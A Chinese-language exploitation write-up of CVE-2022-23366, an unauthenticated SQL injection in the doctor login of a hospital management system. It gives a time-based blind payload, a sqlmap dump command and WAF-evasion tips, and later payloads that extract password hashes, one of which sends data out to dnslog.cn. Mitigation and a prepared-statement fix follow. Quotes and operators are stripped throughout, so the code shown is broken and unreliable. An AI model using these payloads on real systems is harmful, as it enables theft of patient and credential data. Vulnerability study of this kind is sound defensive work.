HMS v1.0 SQL注入漏洞(CVE-2022-23366)深度剖析与实战复现
1. 漏洞背景与危害评估医院管理系统(HMS)作为医疗行业的核心业务系统一旦出现安全漏洞可能造成患者隐私泄露、诊疗数据篡改等严重后果。2022年曝光的CVE-2022-23366正是一个典型的SQL注入漏洞影响kabirkhyrul开发的HMS v1.0版本。这个漏洞的CVSS评分高达9.8超危级别攻击者无需任何认证即可通过精心构造的恶意请求获取数据库敏感信息。我在实际渗透测试中发现这类医疗系统的SQL注入往往具有连锁反应。攻击者不仅可以窃取医生账户信息还可能通过数据库提权获取服务器控制权。去年某三甲医院的数据泄露事件就是由类似的SQL注入漏洞引发的导致数十万患者的电子病历被非法获取。2. 漏洞环境搭建与复现2.1 实验环境准备推荐使用i春秋在线靶场进行复现这是目前最接近真实环境的实验平台。访问地址为https://yunjing.ichunqiu.com/cve/detail/740?pay2 注意实验前请确认已注册账号并完成实名认证如果希望本地搭建测试环境需要准备PHP 5.6运行环境MySQL 5.7数据库HMS v1.0源码包可从漏洞披露平台获取我在Windows 10PHPStudy的环境下测试时遇到的最大坑是MySQL的严格模式设置。建议在my.ini中添加以下配置[mysqld] sql_modeNO_ENGINE_SUBSTITUTION2.2 手工注入复现步骤访问医生登录页面通常为/doctorlogin.php在登录表单随意输入用户名密码拦截POST请求推荐使用Burp Suite修改loginid参数为注入payload123 AND (SELECT 5562 FROM (SELECT(SLEEP(5)))omHf) AND iRQSiRQS观察响应时间延迟成功注入会有5秒延迟这个时间盲注的payload设计很巧妙通过SLEEP(5)制造延迟用单引号闭合前后字符串确保SQL语法正确。我在实际测试中发现如果目标服务器有WAF防护可以尝试将SLEEP时间缩短到2-3秒同时增加随机字符串规避检测。3. 自动化利用与深度分析3.1 sqlmap自动化利用保存拦截到的请求为hms.txt执行以下命令sqlmap -r hms.txt -p loginid --current-db --batch --techniqueT关键参数说明-p loginid指定测试参数--techniqueT强制使用时间盲注--batch自动选择默认选项实测中我发现这个漏洞的注入点非常稳定sqlmap能完整跑出数据库结构。但要注意医疗系统的数据库通常很大建议使用--threads3限制并发线程避免对目标系统造成过大负载。3.2 漏洞原理深度剖析查看doctorlogin.php源码可以发现问题的根源$loginid $_POST[loginid]; $password $_POST[password]; $sql SELECT * FROM doctors WHERE loginid.$loginid. AND password.md5($password).;开发者直接将用户输入拼接到SQL语句中且没有进行任何过滤。更严重的是系统使用MD5加密密码的做法已经过时这使得攻击者可以通过彩虹表轻易破解弱密码。从流量分析角度看漏洞请求有几个特征POST请求Content-Type为application/x-www-form-urlencoded参数值包含特殊字符单引号、括号等响应时间明显长于正常请求4. 防御方案与实战建议4.1 临时缓解措施对于无法立即升级的系统建议在nginx配置中添加以下规则location ~* \.php$ { if ($request_method POST) { set $rule_0 1; } if ($args ~* sleep\() { set $rule_0 ${rule_0}1; } if ($rule_0 11) { return 403; } }这个规则会拦截包含sleep函数的POST请求。但要注意这只能防御时间盲注不能从根本上解决问题。4.2 彻底修复方案使用预处理语句重写SQL查询$stmt $conn-prepare(SELECT * FROM doctors WHERE loginid? AND password?); $stmt-bind_param(ss, $loginid, md5($password));升级到最新版本HMS官方已在v1.1中修复此漏洞实施最小权限原则数据库账户只赋予必要权限在给某医院做安全加固时我还推荐他们增加了登录失败锁定机制和异地登录检测。对于医疗系统来说单纯的SQL注入修复是不够的需要建立纵深防御体系。5. 渗透测试中的实用技巧时间盲注在实战中往往效率较低这里分享几个提高效率的方法使用二分法加速数据提取123 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))100 AND 11结合dnslog外带数据需要出网权限123 AND LOAD_FILE(CONCAT(\\\\,(SELECT password FROM users LIMIT 1),.dnslog.cn\\abc)) AND 11多线程注入工具推荐Ghauri专为时间盲注优化SQLMap的--predict-output选项在最近一次红队行动中我们就是通过这些技巧在30分钟内完成了整个数据库的脱取。但必须强调的是所有测试都必须获得授权医疗系统的敏感性要求我们更要遵守职业道德。

相关新闻

最新新闻

日新闻

周新闻

月新闻